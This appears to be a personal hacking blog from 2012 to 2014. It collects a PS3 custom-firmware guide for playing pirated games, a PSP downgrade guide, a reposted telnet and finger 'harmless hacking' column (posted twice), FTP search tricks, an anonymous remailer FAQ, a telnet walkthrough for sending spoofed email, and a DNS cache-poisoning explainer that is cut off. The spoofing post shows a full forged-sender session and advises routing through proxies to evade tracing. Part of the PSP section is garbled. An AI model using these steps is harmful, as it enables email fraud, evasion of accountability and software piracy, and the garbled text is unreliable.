Hacking Hippie

2014-12-25T05:09:00.004-08:00

MERRY CHRISTMAS FOLKS!

-UNTAMED

Anouncement

2014-05-25T20:04:00.002-07:00

Dear all,
For a while I had my exams.From today I will be posting new papers on hacks and on gizmos!
Regards
untamed.
PS:Downloads tab will also be included (or) improved..

Commment!!!!!!!!!!!

2014-02-24T06:52:00.002-08:00

Fig:Just for sake of posting a pic..Never mind! :P

Hmmmmmmmmmmm...........................

``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````
Haha This is me....What!!!!!!! yeah I stopped posting hacking shit for few days wait months...All I just did is copying some crap and posting it on my blog yea I got 16600 page views and no comments WTF? so just comment whatever you feel.....
regards,
untamed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

How to hack PS3

2013-04-21T19:53:00.002-07:00

How to hack PS3 and play pirated games (100% Tested)

Learn how to hack PS3.This is intended for all those who have problems with installing ps3 costum firmware. You do not need to own jailbrake stick, everything u need is usb with an least 256 mb (fat32). I’ve tried several combinations and finally found the right one and I will share with you. Hope that you’ll have no problems with installation.

TESTED 100% WORKING

First step

First of all make sure you’re PS3 has 3.55 official firmware or older version. If is not, please downgrade to 3.55 first. Google it for how to install.

Thanks to Zamp suggestion, as i forgot : You have to use signed pkg made for 3.55 or you will get error occurred during the install operation (80029567)

Download link : kmeaw CFW 3.55 Patched PUP
Create on the root of a USB (formatted FAT 32) the following folders: \PS3\UPDATE\

Secound step

Access to the Playstation recovery menu:
Turn off Plastation 3
Hold The power button down; The system will turn on and turn off once again.
Once the System has been shutdown, re-press you finger until you hear 2 consecutive beeps
You will be promted to plug in your controller via usb and then hit the PS button
The Recovery menu will pop up.
Go to System update > Update via Storage Media and instal kmeaw CFW 3.55
After reboot you should see the install package file and the app_home/PS3_GAME/ inside the Game Folder

Last step

Download lvl2 patcher (lvl2-v9.pkg) and multiman (1.16+)
Make sure to save the files on usb root directory
Navigate to install package file and install them (XMB)
And remember before run multiman make sure to run lvl2 patcher first
Load game from external or internal and enjoy! Easy done PS3 hacking!

If u want to play ps3 games via portable usb hard drive

-Make sure that is FAT32 and if is not you can convert from NTFS to FAT32 with Paragon Hard Disk Manager eazy and fast (http://www.paragon-software.com/home/hdm-personal/)
-Then download the game u want and add it to the following folder \GAMEZ
-Game folder you downloaded must contain (BLES, BLUS) number. (ex. \GAMEZ\BLUS-30490)
list with numbers (http://sonyindex.com/)
-Start the game from backup manager (eg. Multiman, Rogero) and enjoy.

If u want to transfer games from PC to PS3 via FTP

-First download filezila (http://filezilla-project.org/) and install to you’re Pc.
-Then download PS3 FTP Server (http://www.ps3-hacks.com/2010/09/07/ps3-ftp-server-released/) and install to you’re PS3
-Open FileZilla and press the ‘Site Manager’ button (Under ‘File’ in the top left hand corner) then press ‘New Site’ ant set up host: (view from ps3 FTP server) port: 21 server type: FTP Logon Type : Normal User: FTPD12345 pass: (leave blank)
-You will see a tab that says ‘Transfer Settings’. You want to limit the connections to 2 (One for browsing the PS3 and one for transferring.. If you set this to 1 you will only be able to browse the PS3 if you’re not transferring anything).
-hit Connect!
-Browse to folder (BLUSXXXX) on your PC and transfer the entire folder to /dev_hdd0/game/(BUM DISC ID)/GAMEZ on your PS3
Start the game from backup manager (eg. Multiman, Rogero) and enjoy.

How To hack psp

2013-04-18T22:22:00.004-07:00

This is a guide on how to alter a PSP by downgrading its software. This only works on P.S.P.S. software versions 2.0 and earlier. However Above firmwares can use Pandora's battery to un-brick, downgrade and install custom firmware.

Unzip the files MPHDowngrader.zip and EBOOT_1.50.zip. Use a program such as WinRAR, or WinZip. These files are the ones that shall be instrumental in both be moved into your root directory. Once this is done, open up the PSP folder and then enter into the Photo folder. Here, you will copy overflow.tif over, also removed from the MPH Downgrader folder, keeping it in the Photo directory and not in a sub directory.
2
Backtrack to the PSP directory and then this time enter into the Game directory. If there is not alreadconnection and then go to the Photo icon on your PSP and scroll through the pictures to get to the overflow.tif file. Two strings of letters/numbers will appear as if something has gone wrong but this is and start it up. Go to prompts. WhenPANIC. Once again press the power switch up until it fully turns off. Now, turn the PSP back on. You will get another error. Just press the "O" button and it will restart after rebuilding the system data.
3
Figure out what to add with your brand new open-ended BIOS. If you search the web you will find a plethora of different options
- NesterJ (NES Emulator) v1.11 - Ruka's Nintendo Entertainment System (NES) emulator for the PSP.
- Monkey64 v1.0 - The first N64 emulator for the Sony PSP. Written by PSmonkey.
- Homer's RIN v3.2 - Gameboy/Gameboy Color Emulator for the PSP.
- NeoCD PSP v0.9.1 - NeoGeo CD Emulator for your PSP. Released by ZeLurker, camiyu1, and Radius. Based on the emulator written/ported by YoyoFR
- SNES9X TYL v0.2c - An improved version of the SNES9x emulator by yoyofr
- DGEN SEGA Genesis / Mega Drive v0.70 - A new SEGA Genesis (Mega Drive) emulator for your PSP.
- PSPUAE - Amiga computer system emulator for various amiga verions (games, etc.)
- HANDY 0.95.1 - LYNX emulator
- Atari800 2.0.3.27
- NP2 0.33 - PC98 emulator
- RACE - NEO-GEO Pocket emulator
- PSPKVM 0.5.2 - Java web applet player (100's of free games!)
- Daedalus X64 Beta 2 - another N64 emulator (plays only some games)
- PJAG - emulator
- ScummVM-PSP - emulator
- WTH - Wagic: the Gathering, like Magic: the Gathering
- Book Reader 8.1 - Ebook reader for a couple of formats
- PSPHUGO 1.2.0 - PC Engine/Turbografx emulator
- PSP7800 1.2.0 - Atari 7800 emulator
- ColEm PSP 2.5.1 - ColecoVision emulator
- Picodrive - Genesis & Sega CD emulator
- fMSX PSP 3.5.35 - MSX computer system emulator (games, etc.)
- PSP-PDA 1.3.2 - Adds PDA-like functionality to your PSP (includes IR keyboard functionality for PSP 1000 series just like a real PDA)
- Caprice32 PSP 4.2.02 - emulator
- MAME4All PSP 4.9r2 - Multiple Arcade Machine Emulator
- CaSTaway - Atari ST emulator
- MVSPSP 2.3.1 - NEO-GEO emulator
- CPS2PSP 2.3.1 - NEO-GEO emulator
- NCDZPSP 2.3.1 - NEO-GEO CD
- Red Dragon 0.38 - Virtual Boy emulator (may not work; still in alpha phase)
- MasterBoy 2.02 - Game Boy, Game Boy Color, Sega Master System, Sega Game Gear emulator
- pSpectrum 1.04 - Spectrum computer system emulator (games, etc)
- Lua Player 0.20 - Plays "Lua" files: special applications of which there are dozens.
- Apple II Portable 0.1 Build 0173 - Apple II emulator
- pSwan 0.07 - emulator
- Stella 0.2 - Atari emulator
- Pikey (Pi Key) 0.5 - Adds keyboard functionality for IR keyboards for PSP model 1000 series. (Currently the Targus model works perfectly)

GUIDE TO (mostly) HARMLESS HACKING

2013-04-17T21:12:00.003-07:00

______________________________________________________

GUIDE TO (mostly) HARMLESS HACKING

Hacking tip of this column: how to finger a user via telnet.
_______________________________________________________

Hacking. The word conjures up evil computer geniuses plotting the downfall
of civilization while squirreling away billions in electronically stolen
funds in an Antigua bank.

But I define hacking as taking a playful, adventurous approach to computers.
Hackers don't go by the book. We fool around and try odd things, and when we
stumble across something entertaining we tell our friends about it. Some of
us may be crooks, but more often we are good guys, or at least harmless.

Furthermore, hacking is surprisingly easy. I'll give you a chance to prove
it to yourself, today!

But regardless of why you want to be a hacker, it is definitely a way to
have fun, impress your buddies, and get dates. If you are a female hacker
you become totally irresistible to all men. Take my word for it!;^D

This column can become your gateway into this world. In fact, after reading
just this first Guide to (mostly) Harmless Hacking, you will be able to pull
off a stunt that will impress the average guy or gal unlucky^H^H^H^H^H^H^H
fortunate enough to get collared by you at a party.

So what do you need to become a hacker? Before I tell you, however, I am
going to subject you to a rant.

Have you ever posted a message to a news group or email list devoted to
hacking? You said something like "What do I need to become a hacker?" right?
Betcha you won't try *that* again!

It gives you an education in what "flame" means, right?

Yes, some of these 3l1te types like to flame the newbies. They act like they
were born clutching a Unix manual in one hand and a TCP/IP specification
document in the other and anyone who knows less is scum.

*********************
Newbie note: 3l1t3, 31337, etc. all mean "elite." The idea is to take either
the word "elite" or "eleet" and substitute numbers for some or all the
letters. We also like zs. Hacker d00dz do this sor7 of th1ng l0tz.
********************

Now maybe you were making a sincere call for help. But there is a reason
many hackers are quick to flame strangers who ask for help.

What we worry about is the kind of guy who says, "I want to become a hacker.
But I *don't* want to learn programming and operating systems. Gimme some
passwords, d00dz! Yeah, and credit card numbers!!!"

Honest, I have seen this sort of post in hacker groups. Post something like
this and you are likely to wake up the next morning to discover your email
box filled with 3,000 messages from email discussion groups on agricultural
irrigation, proctology, collectors of Franklin Mint doo-dads, etc. Etc.,
etc., etc....arrrgghhhh!

The reason we worry about wannabe hackers is that it is possible to break
into other people's computers and do serious damage even if you are almost
totally ignorant.

How can a clueless newbie trash other people's computers? Easy. There are
public FTP and Web sites on the Internet that offer canned hacking programs.

Thanks to these canned tools, many of the "hackers" you read about getting
busted are in fact clueless newbies.

This column will teach you how to do real, yet legal and harmless hacking,
without resorting to these hacking tools. But I won't teach you how to harm
other people's computers. Or even how to break in where you don't belong.

******************************
You can go to jail tip: Even if you do no harm, if you break into a portion
of a computer that is not open to the public, you have committed a crime. If
you telnet across a state line to break in, you have committed a federal felony.
*************************************

I will focus on hacking the Internet. The reason is that each computer on
the Internet has some sort of public connections with the rest of the Net.
What this means is that if you use the right commands, you can *legally*
access these computers.

That, of course, is what you already do when you visit a Web site. But I
will show you how to access and use Internet host computers in ways that
most people didn't know were possible. Furthermore, these are *fun* hacks.

In fact, soon you will be learning hacks that shed light on how other people
(Not you, right? Promise?) may crack into the non-public parts of hosts. And
-- these are hacks that anyone can do.

But, there is one thing you really need to get. It will make hacking
infinitely easier:

A SHELL ACCOUNT!!!!

A "shell account" is an Internet account in which your computer becomes a
terminal of one of your ISP's host computers. Once you are in the "shell"
you can give commands to the Unix operating system just like you were
sitting there in front of one of your ISP's hosts.

Warning: the tech support person at your ISP may tell you that you have a
"shell account" when you really don't. Many ISPs don't really like shell
accounts, either. Guess why? If you don't have a shell account, you can't hack!

But you can easily tell if it is a real shell account. First, you should use
a "terminal emulation program" to log on. You will need a program that
allows you to imitate a VT 100 terminal. If you have Windows 3.1 or Windows
95, a VT 100 terminal program is included as one of your accessory program.

Any good ISP will allow you to try it out for a few days with a guest
account. Get one and then try out a few Unix commands to make sure it is
really a shell account.

You don't know Unix? If you are serious about understanding hacking, you'll
need some good reference books. No, I don't mean the kind with breathless
titles like "Secrets of Super hacker." I've bought too many of that kind of
book. They are full of hot air and thin on how-to. Serious hackers study
books on:
    a) Unix. I like "The Unix Companion" by Harley Hahn.
    b) Shells. I like "Learning the Bash Shell" by Cameron Newham and Bill
Rosenblatt. A "shell" is the command interface between you and the Unix
operating system.
    c) TCP/IP, which is the set of protocols that make the Internet work. I
like "TCP/IP for Dummies" by Marshall Wilensky and Candace Leiden.

OK, rant is over. Time to hack!

How would you like to start your hacking career with one of the simplest,
yet potentially hairy, hacks of the Internet? Here it comes: telnet to a
finger port.

Have you ever used the finger command before? Finger will sometimes tell you
a bunch of stuff about other people on the Internet. Normally you would just
enter the command:

    finger Joe_Schmoe@Fubar.com

But instead of Joe Schmoe, you put in the email address of someone you would
like to check out. For example, my email address is cmeinel@techbroker.com.
So to finger me, give the command:

    finger cmeinel@techbroker.com

Now this command may tell you something, or it may fail with a message such
as "access denied."

But there is a more elite way to finger people. You can give the command:

    telnet llama.swcp.com 79

What this command has just done is let you get on a computer with an
Internet address of llama.swcp.com through its port 79 -- without giving it
a password.

But the program that llama and many other Internet hosts are running will
usually allow you to give only ONE command before automatically closing the
connection. Make that command:

    cmeinel

This will tell you a hacker secret about why port 79 and its finger programs
are way more significant than you might think. Or, heck, maybe something
else if the friendly neighborhood hacker is still planting insulting
messages in my files.

2013-03-26T07:34:00.002-07:00

GUIDE TO (mostly) HARMLESS HACKING

Hacking tip of this column: how to finger a user via telnet.
_______________________________________________________

Hacking. The word conjures up evil computer geniuses plotting the downfall
of civilization while squirreling away billions in electronically stolen
funds in an Antigua bank.

But I define hacking as taking a playful, adventurous approach to computers.
Hackers don't go by the book. We fool around and try odd things, and when we
stumble across something entertaining we tell our friends about it. Some of
us may be crooks, but more often we are good guys, or at least harmless.

Furthermore, hacking is surprisingly easy. I'll give you a chance to prove
it to yourself, today!

But regardless of why you want to be a hacker, it is definitely a way to
have fun, impress your buddies, and get dates. If you are a female hacker
you become totally irresistible to all men. Take my word for it!;^D

This column can become your gateway into this world. In fact, after reading
just this first Guide to (mostly) Harmless Hacking, you will be able to pull
off a stunt that will impress the average guy or gal unlucky^H^H^H^H^H^H^H
fortunate enough to get collared by you at a party.

So what do you need to become a hacker? Before I tell you, however, I am
going to subject you to a rant.

Have you ever posted a message to a news group or email list devoted to
hacking? You said something like "What do I need to become a hacker?" right?
Betcha you won't try *that* again!

It gives you an education in what "flame" means, right?

Yes, some of these 3l1te types like to flame the newbies. They act like they
were born clutching a Unix manual in one hand and a TCP/IP specification
document in the other and anyone who knows less is scum.

*********************
Newbie note: 3l1t3, 31337, etc. all mean "elite." The idea is to take either
the word "elite" or "eleet" and substitute numbers for some or all the
letters. We also like zs. Hacker d00dz do this sor7 of th1ng l0tz.
********************

Now maybe you were making a sincere call for help. But there is a reason
many hackers are quick to flame strangers who ask for help.

What we worry about is the kind of guy who says, "I want to become a hacker.
But I *don't* want to learn programming and operating systems. Gimme some
passwords, d00dz! Yeah, and credit card numbers!!!"

Honest, I have seen this sort of post in hacker groups. Post something like
this and you are likely to wake up the next morning to discover your email
box filled with 3,000 messages from email discussion groups on agricultural
irrigation, proctology, collectors of Franklin Mint doo-dads, etc. Etc.,
etc., etc....arrrgghhhh!

The reason we worry about wannabe hackers is that it is possible to break
into other people's computers and do serious damage even if you are almost
totally ignorant.

How can a clueless newbie trash other people's computers? Easy. There are
public FTP and Web sites on the Internet that offer canned hacking programs.

Thanks to these canned tools, many of the "hackers" you read about getting
busted are in fact clueless newbies.

This column will teach you how to do real, yet legal and harmless hacking,
without resorting to these hacking tools. But I won't teach you how to harm
other people's computers. Or even how to break in where you don't belong.

******************************
You can go to jail tip: Even if you do no harm, if you break into a portion
of a computer that is not open to the public, you have committed a crime. If
you telnet across a state line to break in, you have committed a federal felony.
*************************************

I will focus on hacking the Internet. The reason is that each computer on
the Internet has some sort of public connections with the rest of the Net.
What this means is that if you use the right commands, you can *legally*
access these computers.

That, of course, is what you already do when you visit a Web site. But I
will show you how to access and use Internet host computers in ways that
most people didn't know were possible. Furthermore, these are *fun* hacks.

In fact, soon you will be learning hacks that shed light on how other people
(Not you, right? Promise?) may crack into the non-public parts of hosts. And
-- these are hacks that anyone can do.

But, there is one thing you really need to get. It will make hacking
infinitely easier:

A SHELL ACCOUNT!!!!

A "shell account" is an Internet account in which your computer becomes a
terminal of one of your ISP's host computers. Once you are in the "shell"
you can give commands to the Unix operating system just like you were
sitting there in front of one of your ISP's hosts.

Warning: the tech support person at your ISP may tell you that you have a
"shell account" when you really don't. Many ISPs don't really like shell
accounts, either. Guess why? If you don't have a shell account, you can't hack!

But you can easily tell if it is a real shell account. First, you should use
a "terminal emulation program" to log on. You will need a program that
allows you to imitate a VT 100 terminal. If you have Windows 3.1 or Windows
95, a VT 100 terminal program is included as one of your accessory program.

Any good ISP will allow you to try it out for a few days with a guest
account. Get one and then try out a few Unix commands to make sure it is
really a shell account.

You don't know Unix? If you are serious about understanding hacking, you'll
need some good reference books. No, I don't mean the kind with breathless
titles like "Secrets of Super hacker." I've bought too many of that kind of
book. They are full of hot air and thin on how-to. Serious hackers study
books on:
a) Unix. I like "The Unix Companion" by Harley Hahn.
b) Shells. I like "Learning the Bash Shell" by Cameron Newham and Bill
Rosenblatt. A "shell" is the command interface between you and the Unix
operating system.
c) TCP/IP, which is the set of protocols that make the Internet work. I
like "TCP/IP for Dummies" by Marshall Wilensky and Candace Leiden.

OK, rant is over. Time to hack!

How would you like to start your hacking career with one of the simplest,
yet potentially hairy, hacks of the Internet? Here it comes: telnet to a
finger port.

Have you ever used the finger command before? Finger will sometimes tell you
a bunch of stuff about other people on the Internet. Normally you would just
enter the command:

finger Joe_Schmoe@Fubar.com

But instead of Joe Schmoe, you put in the email address of someone you would
like to check out. For example, my email address is cmeinel@techbroker.com.
So to finger me, give the command:

finger cmeinel@techbroker.com

Now this command may tell you something, or it may fail with a message such
as "access denied."

But there is a more elite way to finger people. You can give the command:

telnet llama.swcp.com 79

What this command has just done is let you get on a computer with an
Internet address of llama.swcp.com through its port 79 -- without giving it
a password.

But the program that llama and many other Internet hosts are running will
usually allow you to give only ONE command before automatically closing the
connection. Make that command:

cmeinel

This will tell you a hacker secret about why port 79 and its finger programs
are way more significant than you might think. Or, heck, maybe something
else if the friendly neighborhood hacker is still planting insulting
messages in my files.

Now, for an extra hacking bonus, try telnetting to some other ports. For
example:

telnet kitsune.swcp.com 13

That will give you the time and date here in New Mexico, and:

telnet slug.swcp.com 19

Will show you a good time!

2013-03-26T07:33:00.001-07:00

How To Find Ftp's The Easy Way'

I use google cuz its the best search engine en everyone can acces .
The easiest search quote is "index of ..."
Some kind of examples are:

index of ftp/ +mp3
index of ftp/ +divx
index of ftp/ +"whateveryouwant"

Google has many operators that should help you to specify your search
USE EM
There are also lots of advanced operators available
here are a few:

cache:
link:
related:
info:
stocks:
site:
allintitle:
intitle:
allinurl:
inurl:

eg:
allintitle: "index of ftp/mp3"

try to combine things and maybe u'll find something

2013-03-10T05:53:00.001-07:00

FAQ!!

============================================================
This article offers a nontechnical overview of anonymous
remailers to help you decide whether to use these
computer services to enhance your privacy. I have written
this especially for persons with a sense of humor. You
may distribute this (unaltered) FAQ for non-commercial
purposes.
===========================================================

What is an anonymous remailer?

An anonymous remailer (also called an "anonymous server")
is a free computer service that privatizes your e-mail.
A remailer allows you to send electronic mail to a Usenet
news group or to a person without the recipient knowing
your name or your e-mail address.

Why would YOU use remailers?

Maybe you're a computer engineer who wants to express
opinions about computer products, opinions that your
employer might hold against you. Possibly you live in a
community that is violently intolerant of your social,
political, or religious views. Perhaps you're seeking
employment via the Internet and you don't want to
jeopardize your present job. Possibly you want to place
personal ads. Perchance you're a whistle-blower afraid of
retaliation. Conceivably you feel that, if you criticize
your government, Big Brother will monitor you. Maybe you
don't want people "flaming" your corporate e-mail
address. In short, there are many legitimate reasons why
you, a law abiding person, might use remailers.

How does a remailer work?

Let's take an example. A popular Internet remailer is run
by Johan Helsingius, President of a Helsinki, Finland
company that helps businesses connect to the Internet.
His "an@anon.penet.fi" addresses are common in
controversial news groups. Suppose you read a post from
a battered woman <an123@anon.penet.fi> crying out for
help. You can write her at <an123@anon.penet.fi>.
Helsingius' computer will STRIP AWAY your real name and
address (the header at the top of your e-mail), replace
this data with a dummy address, and forward your message
to the battered woman. Helsingius' computer will notify
you of your new anonymous address; e.g.,
<an345@anon.penet.fi>. You can use Helsingius' free
service to forward letters to anyone, even to persons who
do not use his service. His computer sends each user
detailed instructions about his system.

Are there many remailers?

Currently, there are roughly a dozen active, PUBLIC
remailers on the Internet. (Undoubtedly, there are many
PRIVATE remailers that restrict who may use them.)
Remailers tend to come and go. First, they require
equipment and labor to set up and maintain; second, they
produce zero revenue.

Why are remailers free?

There is a simple answer. How can remailer administrators
charge people who want maximum privacy? Administrators
can't ask for a Visa number or take checks.

Why do people operate remailers, if not for money?

People set up remailers for their own personal usage,
which they may or may not care to share with the rest of
us. Joshua Quittner, co-author of the high-tech thriller
MOTHER'S DAY, interviewed Mr. Helsingius for WIRED
magazine. Helsingius said:

"It's important to be able to express certain
views without everyone knowing who you are.
One of the best examples was the great debate
about Caller ID on phones. People were really
upset that the person at the receiving end
would know who was calling. On things like
telephones, people take for granted the fact
that they can be anonymous if they want to and
they get really upset if people take that
away. I think the same thing applies for e-
mail."

"Living in Finland, I got a pretty close view
of how things were in the former Soviet Union.
If you actually owned a photocopier or even a
typewriter there you would have to register it
and they would take samples of what your
typewriter would put out so they could
identify it later. That's something I find so
appalling. The fact that you have to register
every means of providing information to the
public sort of parallels it, like saying you
have to sign everything on the Net. We always
have to be able to track you down."

What makes an "ideal" anonymous remailer?
An "ideal" anonymous remailer is: (a) Easy to use. (b)
Run by a reliable individual whose system actually does
what it promises. In addition, this person should have
the computer expertise to take prudent steps to safeguard
your privacy from civilian or government hackers. (c)
Able to forward your messages in a timely manner. By
"timely" I mean minutes or hours. (d) Holds your messages
for a RANDOM time before forwarding them. This time lag
makes it harder for snoops to link a message that arrives
at, say, 3:00 P.M. with a message that leaves your
machine at, say, 2:59 P.M. (e) Permits (better yet
encourages!) PGP encryption software. If a remailer does
NOT permit PGP (Pretty Good Privacy), reasonable people
might assume that the remailer administrator enjoys
reading forwarded mail.

What makes a responsible remailer user?

A responsible user: (a) Sends text files of a reasonable
length. Binary files take too much transmission time. (b)
Transmits files selectively. Remailers are NOT designed
to send "You Can Get Rich" chain letters or other junk
mail.

Who are irresponsible remailer users?

Here is a quote from one remailer administrator:

"This remailer has been abused in the past, mostly by
users hiding behind anonymity to harass other users. I
will take steps to squish users who do this. Lets keep
the net a friendly and productive place.... Using this
remailer to send death threats is highly obnoxious. I
will reveal your return address to the police if you do
this."

Legitimate remailer administrators will NOT TOLERATE
harassment or criminal activity. Report any such
incidents to the remailer administrator.

How safe are anonymous remailers? [for paranoids only :-)]

For most low-security tasks, such as responding to
personal ads, remailers are undoubtedly safer than using
real e-mail addresses. However, all the best made plans
of mice and men have weaknesses. Suppose, for example,
that you are a government employee, who just discovered
that your boss is taking bribes. Is it safe to use an
anonymous remailer to send evidence to a government
whistleblower's e-mail hot line? Here are a few points to
ponder:

(a) The person who runs your e-mail system might
intercept your secret messages to and from the anonymous
remailer. This gives him proof that YOU are reporting
your corrupt boss. This evidence could put you in danger.

(b) It is possible that the anonymous remailer is a
government sting operation or a criminal enterprise,
designed to entrap people. The person who runs this
service might be your corrupt boss' partner.

(c) Hackers can do magic with computers. It's possible
that hackers have broken into the remailer (unbeknownst
to the remailer's administrator) and that they can read
your messages at will.

Hard-core privacy people do not trust individual
remailers. These people write programs that send their
messages through several remailers. This way only the
first remailer knows their real address, and the first
remailer cannot know the final destination of the e-mail
message. In addition, they PGP encrypt all messages.

Where can I learn more?

Go to the Usenet news group ALT.PRIVACY.ANON-SERVER. Pay
special attention to posts by Raph Levien, "The Remailer
Guru."

Where can I get a list of current remailers?

Raph Levien [see above] generously runs a remailer
pinging service which collects details about remailer
features and reliability. To read Levien's data, finger:

<remailer-list@kiwi.cs.berkeley.edu>.

There is also a Web version of the same information, at:

http://www.cs.berkeley.edu/~raph/remailer-list.html

In addition, Raph Levien <raph@kiwi.cs.berkeley.edu>
regularly posts his "List of Reliable Remailers" at
ALT.PRIVACY.ANON-SERVER.

Anything else I should know?

YOUR privacy and safety are in danger! The black market
price for your IRS records is $500. YOUR medical records
are even cheaper. Prolific bank, credit and medical
databases, the Clipper Chip Initiative, computer matching
programs, cordless & cellular phone scanners, Digital
Telephony legislation, and (hidden) video surveillance
are just a few factors that threaten every law abiding
citizen. Our anti-privacy society gives criminals and
snoops computer data about YOU on a silver platter.

If you want to protect your privacy, I urge you to join
organizations such as the Electronic Frontier Foundation
<membership@eff.org> and Computer Professionals for
Social Responsibility <info@cpsr.org>.

Understanding SMTP and how to send emails via Telnet.

2012-12-27T06:06:00.000-08:00

Understanding SMTP and how to send emails via Telnet.

This text explains how one can telnet do an SMTP server, and use that
server to their advantage via commandline. What you are about to see, is
what really goes on behind the scenes of every program you use to send
email. Now you will know how to do it manually and how to send email
from other people. This can be easily done in your email software, but
we dont like that GUI mess, so we stick with the commandline.

NOTE: I do not recommend that anyone take this knowledge and attempt
        to cause any harm with it. The emails being sent "CAN" be
        traced back to you if needed. If you plan to use this in a manner
        that is not appropriate then i suggest highly that you bnc through
        wingates, proxies and/or shells before reaching the smtp server. (It wont
        guarantee anything but it will make the smtp owners attempt to trace
        you just alittle harder.)

Vulnerable Machines: Any machine running an SMTP server. (port 25 usually)

                      Any machine running SMTP that allows forwarding will let you
                      send emails to anywhere in the world. (not many of these around
                      anymore) The rest will only allow you to send emails within
                      their domain.

-------------------------------------------------------------------------------
Found below is an example on how one can achieve the sending of spoofed mail.
-------------------------------------------------------------------------------

/* Connect to the smtp server */

[brainrawt@yourmommas brainrawt]$ telnet blau.com 25
Trying 205.123.15.34...
Connected to mail.blau.com (205.123.15.34).
Escape character is '^]'.
220 mail.blau.com ESMTP Sendmail 8.9.3/8.9.3; Tue, 3 Jul 2001 18:32:54 -0500

/* Say "helo" to the server. Its the nice thing to do. */

>helo blau.com
250 mail.blau.com Hello rawt.blazingpenguin.com [192.168.0.3], pleased to meet you

/* Tell the server where this email will "appear" to come from */

>mail from: root@blau.com
250 root@blau.com... Sender ok

/* Tell the server where this email IS going */

>rcpt to: brainrawt@blau.com
250 brainrawt@blau.com... Recipient ok

/* Prepare the server for our message by typing "data" */

>data
354 Enter mail, end with "." on a line by itself

/* Now we shall get that msg in there (dont forget the "." on the line by itself.) */

>This is my message and i am only sending it to help you better understand how this works.
>.
250 SAA29307 Message accepted for delivery

/* Message has been accepted by the server. Lets get outta here! */

>quit
221 mail.blau.com closing connection
Connection closed by foreign host.
[brainrawt@yourmommas brainrawt]$

--------------------------------------------------------------------------------------------
The above example has sent an email from "root@blau.com" to "brainrawt@blau.com" with the
message "This is my message and i am only sending it to help you better understand how this
works." and it has all been done remotely by a user that doesnt even have an account on
blau.com.
--------------------------------------------------------------------------------------------

2012-12-14T20:41:00.000-08:00

MY LOGO

DNS

2012-11-20T02:10:00.004-08:00

Pretend for the moment that you know only the basic function of DNS
— that it translates WWW.VICTIM.COM into 1.2.3.4. The code that
does this is called a resolver. Each time the resolver contacts the
DNS to translate names to addresses, it creates a packet called a
query. The exchange of packets is called a transaction. Since the
number of packets flying about on the internet requires scientific
notation to express, you can imagine there has to be some way of
not mixing them up.

Bob goes to to a deli, to get a sandwich. Bob walks up to the
counter, takes a pointy ticket from a round red dispenser. The
ticket has a number on it. This will be Bob’s unique identifier for
his sandwich acquisition transaction. Note that the number will
probably be used twice — once when he is called to the counter to
place his order and again when he’s called back to get his
sandwich. If you’re wondering, Bob likes ham on rye with no onions.

If you’ve got this, you have the concept of transaction IDs, which
are numbers assigned to keep different transactions in order.
Conveniently, the first sixteen bits of a DNS packet is just such a
unique identifier. It’s called a query id (QID). And with the
efficiency of the deli, the QID is used for multiple transactions.
2.

Until very recently, there were two basic classes of DNS
vulnerabilities. One of them involves mucking about with the QID in
DNS packets and the other requires you to know the Deep Magic.

First, QIDs.

Bob’s a resolver and Alice is a content DNS server. Bob asks Alice
for the address of WWW.VICTIM.COM. The answer is 1.2.3.4. Mallory
would like the answer to be 6.6.6.0.

It is a (now not) secret shame of mine that for a great deal of my
career, creating and sending packets was, to me, Deep Magic. Then
it became part of my job, and I learned that it is surprisingly
trivial. So put aside the idea that forging IP packets is the hard
part of poisoning DNS. If I’m Mallory and I’m attacking Bob, how
can he distinguish my packets from Alice’s? Because I can’t see the
QID in his request, and the QID in my response won’t match. The QID
is the only thing protecting the DNS from Mallory (me).

QID attacks began in the olden days, when BIND simply incremented
the QID with every query response. If you can remember 1995, here’s
a workable DNS attack. Think fast: 9372 + 1. Did you get 9372, or
even miss and get 9373? You win, Alice loses. Mallory sends a
constant stream of DNS responses for WWW.VICTIM.COM. All are
quietly discarded —- until Mallory gets Bob to query for
WWW.VICTIM.COM. If Mallory’s response gets to your computer before
the legitimate response arrives from your ISP’s name server, you
will be redirected where Mallory tells you you’re going.

Obvious fix: you want the QID be randomly generated. Now Alice and
Mallory are in a race. Alice sees Bob’s request and knows the QID.
Mallory has to guess it. The first one to land a packet with the
correct QID wins. Randomized QIDs give Alice a big advantage in
this race.

But there’s a bunch more problems here:

    *

      If you convince Bob to ask Alice the same question 1000 times
all at once, and Bob uses a different QID for each packet, you made
the race 1000 times easier for Mallory to win.
    *

      If Bob uses a crappy random number generator, Mallory can get
Bob to ask for names she controls, like WWW.EVIL.COM, and watch how
the QIDs bounce around; eventually, she’ll break the RNG and be
able to predict its outputs.
    *

      16 bits just isn’t big enough to provide real security at the
traffic rates we deal with in 2008.

Your computer’s resolver is probably a stub. Which means it won’t
really save the response. You don’t want it to. The stub asks a
real DNS server, probably run by your ISP. That server doesn’t know
everything. It can’t, and shouldn’t, because the whole idea of DNS
is to compensate for the organic and shifting nature of internet
naming and addressing. Frequently, that server has to go ask
another, and so on. The cool kids call this “recursion”.

Responses carry another value, too, called a time to live (TTL).
This number tells your name server how long to cache the answer.
Why? Because they deal with zillions of queries. Whoever wins the
race between Alice and Mallory, their answer gets cached. All
subsequent responses will be dropped. All future requests for that
same data, within the TTL, come from that answer. This is good for
whoever wins the race. If Alice wins, it means Mallory can’t poison
the cache for that name. If Mallory wins, the next 10,000 or so
people that ask that cache where WWW.VICTIM.COM is go to 6.6.6.0.
3.

Then there’s that other set of DNS vulnerabilities. These require
you to pay attention in class. They haven’t really been talked
about since 1997. And they’re hard to find, because you have to
understand how DNS works. In other words, you have to be completely
crazy. Lazlo Hollyfeld crazy. I’m speaking of course of RRset
poisoning.

DNS has a complicated architecture. Not only that, but not all name
servers run the same code. So not all of them implement DNS in
exactly the same way. And not only that, but not all name servers
are configured properly.

I just described a QID attack that poisons the name server’s cache.
This attack requires speed, agility and luck, because if the “real”
answer happens to arrive before your spoofed one, you’re locked
out. Fortunately for those of you that have a time machine, some
versions of DNS provide you with another way to poison the name
server’s cache anyway. To explain it, I will have to explain more
about the format of a DNS packet.

DNS packets are variable in length and consist of a header, some
flags and resource records (RRs). RRs are where the goods ride
around. There are up to three sets of RRs in a DNS packet, along
with the original query. These are:

    *

      Answer RR’s, which contain the answer to whatever question
you asked (such as the A record that says WWW.VICTIM.COM is 1.2.3.4)
    *

      Authority RR’s, which tell resolvers which name servers to
refer to to get the complete answer for a question
